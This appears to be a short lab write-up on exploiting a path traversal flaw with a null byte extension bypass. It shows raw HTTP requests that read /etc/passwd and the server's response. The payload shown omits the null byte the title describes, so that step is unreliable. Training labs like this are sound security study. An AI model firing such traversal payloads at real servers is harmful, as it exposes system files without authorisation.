

File path traversal, validation of file extension with null byte bypass

This lab contains a file path traversal vulnerability in the display of product images.

The application validates that the supplied filename ends with the expected file extension.

To solve the lab, retrieve the contents of the `/etc/passwd` file.

Dial up an image into repeater

```
Request
Pretty Raw Hex Hackvector
1 GET /image?filename=52.jpg HTTP/1.1
2 Host: 0aac00e40329ee8dc0110d66000e0020.web-security-academy.net
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
```

Scannnnnnnnnn

```
Request
Pretty Raw Hex Hackvector
1 GET /image?filename=../../../../../../../../../../../../../../../../etc/passwd52.jpg HTTP/1.1
2 Host: 0aac00e40329ee8dc0110d66000e0020.web-security-academy.net
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
```

Profit

```
Response
Pretty Raw Hex Render Hackvector
1 HTTP/1.1 200 OK
2 Content-Type: image/jpeg
3 Set-Cookie: session=nwrJbqqXOPZEZbhGCYXxjuaSdvByFc2r; Secure; SameSite=None
4 Connection: close
5 Content-Length: 1256
6
7 root:x:0:0:root:/root:/bin/bash
8 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
9 bin:x:2:2:bin:/bin:/usr/sbin/nologin
10 sys:x:3:3:sys:/dev:/usr/sbin/nologin
11 sync:x:4:65534:sync:/bin:/bin/sync
12 games:x:5:60:games:/usr/games:/usr/sbin/nologin
13 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
14 lpr:x:7:7:lpr:/usr/sbin/nologin
```

Good effort

Congratulations, you solved the lab!